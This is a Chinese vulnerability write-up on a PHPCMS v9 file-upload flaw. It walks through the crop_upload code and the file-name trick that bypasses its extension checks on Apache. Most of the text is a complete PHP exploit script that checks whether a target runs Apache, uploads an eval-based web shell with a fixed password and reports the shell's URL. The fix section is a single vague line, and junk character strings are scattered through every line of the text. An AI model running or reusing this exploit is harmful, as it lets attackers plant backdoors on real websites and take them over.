漏洞类型: 文件上传导致任意代码执行% c3 m7 [6 l% A
$ }5 _0 o& u9 [: z5 d4 k简要描述:( u2 o: v3 x/ X
# A, I; @" _3 }
phpcms v9 getshell (apache)
+ A/ e0 C; q# ?$ q7 S详细说明:
( v0 h% C0 Q0 g, q# h1 p; a# ~& S) z$ H' j% ^% ?$ v! a
漏洞文件:phpcms\modules\attachment\attachments.php
$ p) O* E5 R2 E: ^- C
3 c+ s2 d; a. Tpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
$ @0 r$ J4 l& S# C4 R6 t后缀检测:phpcms\modules\attachment\functions\global.func.php1 Z4 w8 Y3 x5 ^- }
0 g" _3 }, x- n1 t5 D9 g% D * q; t5 ^% N& M9 V7 u
; i- e. r! ?0 e$ u+ E6 g! Q; u+ ^
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } # H7 J6 x: Z4 ~' @2 n1 l
8 y# G# _* Z! G& b1 \1 ~9 R; i
关键函数:
z8 k+ l+ P C$ G* ~6 }" H: y$ T' L! X, l8 ^# N: D
6 n# ]4 @. j7 r5 l$ G5 g( l
- a% ]- H# w; v/ y" J) e1 Hfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 2 U {7 W* f- ]! p6 r% r
8 }) }) j7 W( H, s+ D
Fileext函数是对文件后缀名的提取。% c! m |8 b7 h9 x# {7 M
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
2 A- i' D W/ l; J% D: u; t. F经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
1 O3 W. D( R( U我们回到public function crop_upload() 函数中0 q8 d0 V2 s5 l7 |( f$ N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
% @8 ^$ @/ L! E9 z2 S在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数0 K2 A- ^9 U$ S: n9 _2 }7 {
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
3 u9 c5 ~( f1 \* k' @经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。" b# l' _0 @* [4 y( F5 J
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。6 ^9 d9 u4 O7 H7 ^! D- ?
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
0 z/ d* g$ |( m$ F2 w) G漏洞证明:% v/ Q6 r$ h i: c
/ A2 K6 D' @$ Z- }5 Y4 p1 I
exp:# ^, t* }1 M: k
1 }& n' D S/ d" o. G<?php0 M! {6 ]/ Z; R% ~
error_reporting(E_ERROR);
0 {+ `' y- y, nset_time_limit(0);
# x; K' a7 d% ]+ f% Y( ?* e1 i- \$pass="ln";
- C& b4 ~ V" Aprint_r('
! ], ^ Q0 M" \! ^4 ~1 Z! g$ ]" v+---------------------------------------------------------------------------+* v( g7 I$ j8 T) z' q: ~
PHPCms V9 GETSHELL 0DAY
' V# Y$ [% e7 P( l; t) \( L- ecode by L.N.
+ Z7 I1 D( g( Z" p! a& l; n2 G% ~5 Q3 I
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net: l7 {2 e( o7 B k( @
+---------------------------------------------------------------------------+
9 E) Y) Z( U0 Y1 q" r$ s! A1 u- g');% |) G9 `. \ q' w+ |4 ?+ Q; s* w
if ($argc < 2) {
5 V- l9 k7 j# Cprint_r('" M7 W- q/ d) {5 S
+---------------------------------------------------------------------------+% @. g4 [, d* ~; V) t, T" z7 f
Usage: php '.$argv[0].' url path
5 n% u) F) @' \; D9 F) V. l J. ^2 N6 G$ x" H' Y6 s" h2 g* r
Example:
1 P3 C: F7 E: {% A8 M% y1.php '.$argv[0].' lanu.sinaapp.com
& n2 ~0 l) x/ f2 o, `2.php '.$argv[0].' lanu.sinaapp.com /phpcms: u, s9 b2 B7 r) Y2 W0 L
+---------------------------------------------------------------------------+1 w7 j4 f8 D) `6 X- @
');3 M7 W/ h3 b0 L- c1 x- Z
exit;' u V* d) U4 Y8 x4 ?
}; T( u- i% V2 B! N* {; o
4 p& f- J$ B( K) y* Z0 e$url = $argv[1]; @+ P/ l# ~, l. P) v0 h" z
$path = $argv[2];# ?+ R4 S/ t# @
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
. R' z) o: I$ ~6 ~* e, E. |$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 |4 Z1 d* `/ K$ B
if($ret=Create_dir($url,$path))
6 b! k4 x$ k" u+ B2 ~6 j{2 A& W$ V2 M. l+ j0 I9 u
//echo $ret;
% @1 x* s$ _2 O1 g: Q$pattern = "|Server:[^,]+?|U";
& x+ m! b7 K. `; I' ^5 D/ U$ {) Mpreg_match_all($pattern, $ret, $matches);2 p7 g$ C: {( @& J& G/ T$ D1 U+ p" M
if($matches[0][0])# f6 g! ]) S: [+ N
{; |, Z$ c9 ~2 w4 h* k& D z7 Z
if(strpos($matches[0][0],'Apache') == false)
2 y1 {, Q$ W# y4 }& ~{
" t) u/ Z( M' s) d4 {2 {& Z% aecho "\n亲!此网站不是apache的网站。\n";exit;
6 S2 L2 K5 J& w) {3 q' U$ V5 {}
$ u# t1 D# a+ _$ n. W}& L- y& w$ |% R& y
$ret = GetShell($url,$phpshell,$path,$file);
' N3 k8 q# h& b& I$pattern = "|http:\/\/[^,]+?\.,?|U";) [: t6 v# `3 O2 a/ u
preg_match_all($pattern, $ret, $matches);; U O6 Z8 t& u* J- A; |- n
if($matches[0][0])
$ X" I- f8 O2 I* C) J" O9 |% Y{! E8 `3 p* }# U; s
echo "\n".'密码为: '.$pass."\n";
2 P% k" K, x% Z& x: @ S& O( C: Gecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;4 D: d; X$ i" r% `3 @
}
7 E8 X X; Z$ h* z7 ]/ x( e7 lelse, b+ q6 G+ K1 N# `! ^2 y6 y
{
9 [" ~% X3 Y- w9 d& y$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 o! p+ h. Y+ @% {
preg_match_all($pattern, $ret, $matches);8 V" b) R) p' d2 w/ _2 z+ x" R I# I
if($matches[0][0])
|/ F! U! g5 V/ C: R{
9 O; C0 l! j6 s2 {# w. `" Cecho "\n".'密码为: '.$pass."\n";
, D I' F4 A1 F1 T/ f; p9 Uecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;# b3 W& i3 a! }5 F0 S& a/ X& U
}
. A* M2 R- M4 Y$ H4 G+ celse
% \4 G( P) T& A, B% B9 \! i3 C{ X1 n+ ]/ y/ [- `/ K
echo "\r\n没得到!\n";exit;2 }2 _2 A2 W$ C @
}9 u/ X: k5 R+ z/ d' r
}
1 R; T9 K8 N' k2 q}* U' w! l. I8 D, c
# @, G) Y; q* g9 o Qfunction GetShell($url,$shell,$path,$js)
' ]" t B$ d, w! l# w{
' O+ Q/ Z7 x& X9 V+ b8 F$content =$shell;0 s' f9 X- v: S3 ]( t) U v
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
( e. d- D) c. r' d- ^! m5 n; X$data .= "Host: ".$url."\r\n";0 m* f9 O' t4 A2 F
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
& m. i3 k/ S8 K) O( O- K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* ]/ X. @/ }6 @+ E" Y1 L
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
1 U3 [3 U; z& x0 z( d- K7 ?3 k$data .= "Connection: close\r\n";, j4 z# |8 ]) M1 K/ Q6 k6 }
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* W: X; _( F* i$data .= $content."\r\n";
_- U, r& ?$ _' I% z$ock=fsockopen($url,80);
: T, v% C3 j" b7 ]: Z1 fif (!$ock)
: Z0 S2 M4 D2 ^6 m" \{9 U- a/ I* s& Q ]4 y+ s
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
5 m; g! }: u% {0 k. z5 R+ o. {}
$ p9 h) S5 ^* C* j6 oelse8 \2 V+ t# K1 L& E
{7 w- B4 f) [: W p* H' i
fwrite($ock,$data);' {7 p; L5 ]- { P$ x% d% l
$resp = '';$ M2 W7 S$ f/ m+ J- ^2 D3 A
while (!feof($ock))6 b; I. F8 {+ {* v) M( @$ F
{
4 i) V8 ]8 C5 _; v2 h$resp.=fread($ock, 1024);
3 [$ }. w# V& f0 f' J# _7 {}
& K+ H0 e. Q) O+ S8 @ { \return $resp;
7 y* _4 t( F3 V% k( W}- `- k) L- Q6 k
}
4 g* j% J6 i2 E8 A
# [1 x8 J3 V( v: y* @8 yfunction Create_dir($url,$path='')
# M$ i4 \+ q h# P H{$ W. W8 y" d9 R7 i u3 |
$content ='I love you';4 V! @6 F0 C& {$ a8 D: O' z
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";+ v5 D1 Z8 j+ C0 H H& j. o
$data .= "Host: ".$url."\r\n";, k: w6 ~! X( X, q* m5 `
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: V j, v Q' U4 x7 ?8 v$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ i2 f% v( |$ F2 k5 L$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' r! b: C5 T6 G/ v* H- j$data .= "Connection: close\r\n";
, O" o, x/ X5 g, G$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
" f& F3 M' B# u, G# t) z$data .= $content."\r\n";" P5 p- _6 i# o: T5 |
$ock=fsockopen($url,80);
9 a/ Q7 F, V* _if (!$ock)
3 g( C( {8 y. w& x: x{
# m6 S K* U( a) C3 Z$ w X- Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 H" ], v1 t6 T9 v, Z$ R
}$ e& m! K/ T4 F/ L
fwrite($ock,$data);
6 a( q4 J& i4 z0 Q$resp = '';9 Z% q( r6 G# y- } V
while (!feof($ock))
9 D- @0 X2 `( Q, u, T' N{3 D# j1 Q: v; f. Y% T
$resp.=fread($ock, 1024);: J m4 ?' E, T" @: q6 W
}
! P) m' F) e' `7 u5 h- }9 Q' \0 Ireturn $resp;3 o5 B( O8 Y c( G P( x
}
8 u1 f4 H# T# N$ y?> 2 F5 i: l% R9 {
2 C, m5 R' ]; o- q! @修复方案:' [7 l; G1 Y- l/ b4 m H+ z, l
$ q; K- h) \3 K
过滤过滤再过滤
/ Q# o% ~" \2 _
( U5 H& @9 a9 l, q |